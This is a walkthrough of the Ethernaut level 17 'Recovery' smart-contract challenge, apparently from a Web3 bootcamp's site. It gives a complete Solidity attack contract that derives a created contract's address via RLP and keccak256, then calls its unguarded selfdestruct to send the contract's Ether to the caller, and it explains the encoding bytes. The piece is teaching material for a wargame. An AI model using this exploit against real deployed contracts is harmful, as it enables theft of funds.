Skip links

Table of Contents

Ethernaut Level 17 Walkthrough: Recovery

In the Ethernaut level 17 challenge, participants are tasked with finding and recovering Ether from a lost contract. The goal is to understand how contract addresses are derived and how this knowledge can be used to retrieve funds.

The Recovery Contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Recovery {

    // Generate tokens

    function generateToken(string memory _name, uint256 _initialSupply) public {

        new SimpleToken(_name, msg.sender, _initialSupply);

    }

}

Contract Analysis

The Recovery contract allows users to generate new SimpleToken contracts by calling the generateToken function. Each new SimpleToken contract is created with an initial supply allocated to the creator.

The SimpleToken Contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract SimpleToken {

    string public name;

    mapping(address => uint256) public balances;

    // Constructor

    constructor(string memory _name, address _creator, uint256 _initialSupply) {

        name = _name;

        balances[_creator] = _initialSupply;

    }

    // Collect Ether in return for tokens

    receive() external payable {

        balances[msg.sender] = msg.value * 10;

    }

    // Allow transfers of tokens

    function transfer(address _to, uint256 _amount) public {

        require(balances[msg.sender] >= _amount);

        balances[msg.sender] = balances[msg.sender] - _amount;

        balances[_to] = _amount;

    }

    // Clean up after ourselves

    function destroy(address payable _to) public {

        selfdestruct(_to);

    }

}

Contract Analysis

  1. Token Creation and Management: The SimpleToken contract manages a token balance for each address. It allows for the transfer of tokens and can accept Ether, giving tokens in return.
  2. Self-Destruct Function: The destroy function allows the contract to self-destruct and send all its Ether balance to a specified address. This is a critical feature that can be exploited.
ethernaut level 17 walkthrough recovery

The Attack Contract

To recover funds from a lost contract, an attacker needs to locate the contract address and then use the destroy function to send its balance to themselves. Here’s the Attack contract designed to achieve this:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Attack {

    Recovery public recoveryAddr;

    address public tokenAddr;

    constructor(Recovery _recoveryAddr){

        recoveryAddr = _recoveryAddr;

    }

    function setAddress() external {

        tokenAddr = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6),bytes1(0x94),recoveryAddr,bytes1(0x01))))));

    }

    function attack() external {

        SimpleToken simpleToken = SimpleToken(payable(tokenAddr));

        simpleToken.destroy(payable(msg.sender));

    }

}

Attack Strategy

  1. Calculate the Token Address: The setAddress function calculates the address of the SimpleToken contract generated by the Recovery contract. This is done using Solidity’s keccak256 hash function with RLP encoding, which is how Ethereum determines contract addresses.
  2. Destroy the Token Contract: The attack function creates an instance of the SimpleToken contract at the calculated address and calls its destroy function, sending the contract’s balance to the attacker.

Step-by-Step Execution

  1. Calculate Contract Address:
    • The setAddress function computes the address where the SimpleToken contract was deployed. This calculation uses the creator address (recoveryAddr) and the nonce (1, as it is the first contract created by Recovery).
    • Formula: keccak256(rlp.encode([sender, nonce])), which in Solidity is address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6),bytes1(0x94),recoveryAddr,bytes1(0x01)))))).
  2. Recover Funds:
    • The attack function creates an instance of the SimpleToken at the calculated address.
    • It then calls the destroy function of the SimpleToken contract, transferring its Ether balance to the attacker’s address.

Conclusion: Ethernaut Level 17

The Recovery challenge demonstrates the importance of understanding how Ethereum calculates contract addresses and how features like self destruct can be both useful and risky. By carefully crafting the Attack contract, an attacker can locate and recover Ether from lost contracts, highlighting the need for thorough security considerations in smart contract design.

faq

FAQs

What is RLP encoding?

  • RLP (Recursive Length Prefix) encoding is a method used to serialize nested arrays of binary data. It is used extensively in Ethereum to encode various types of data structures efficiently.
  • RLP encoding works by encoding data with a length prefix that indicates the type and length of the data. It can handle both individual strings and nested lists. The length prefix helps in determining how much data to read for each item. Read this article for further information.

What is the significance of bytes1(0xd6) and bytes1(0x94) in the Attack contract?

  1. bytes1(0xd6):
    • bytes1(0xd6) is a single byte value used in the RLP encoding process.
    • It indicates the start of an RLP-encoded list where the total length of the list is 21 bytes.
    • In RLP, there are different ranges for list length prefixes. For lengths between 0 and 55 bytes, the prefix is 0xc0 + length. For longer lists, a more complex scheme is used.
    • The calculation is based on the RLP rule that adds 0xc0 (the base value for lists) to the length of the list’s content. Here, 0xc0 + 21 = 0xd6.
  2. bytes1(0x94):
    • bytes1(0x94) is another single byte value used in RLP encoding.
    • It signifies that the next data item (the creator’s address) is 20 bytes long.
    • For strings (or byte arrays) with length between 0 and 55 bytes, the RLP encoding uses a prefix of 0x80 + length.
    • This is calculated using the RLP rule that adds 0x80 (the base value for strings) to the length of the string. Here, 0x80 + 20 = 0x94.

What is the main vulnerability in the SimpleToken contract?

  • The main vulnerability is the destroy function, which can be called by anyone to self-destruct the contract and transfer its Ether balance to a specified address. This can be exploited to recover Ether from the contract.

Why is understanding contract address generation important?

  • Understanding contract address generation is important because it allows developers and security researchers to predict the addresses of contracts created by a particular address. This knowledge can be used to recover funds, as demonstrated in this challenge, or to anticipate and mitigate potential security risks.

Metana Guarantees a Job ūüíľ

Plus Risk Free 2-Week Refund Policy ‚ú®

You‚Äôre guaranteed a new job in web3‚ÄĒor you‚Äôll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet!

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

You may also like

Metana Guarantees a Job ūüíľ

Plus Risk Free 2-Week Refund Policy

You‚Äôre guaranteed a new job in web3‚ÄĒor you‚Äôll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Events by Metana

Dive into the exciting world of Web3 with us as we explore cutting-edge technical topics, provide valuable insights into the job market landscape, and offer guidance on securing lucrative positions in Web3.

Start Your Application

Secure your spot now. Spots are limited, and we accept qualified applicants on a first come, first served basis..

Career Track(Required)

The application is free and takes just 3 minutes to complete.

What is included in the course?

Expert-curated curriculum

Weekly 1:1 video calls with your mentor

Weekly group mentoring calls

On-demand mentor support

Portfolio reviews by Design hiring managers

Resume & LinkedIn profile reviews

Active online student community

1:1 and group career coaching calls

Access to our employer network

Job Guarantee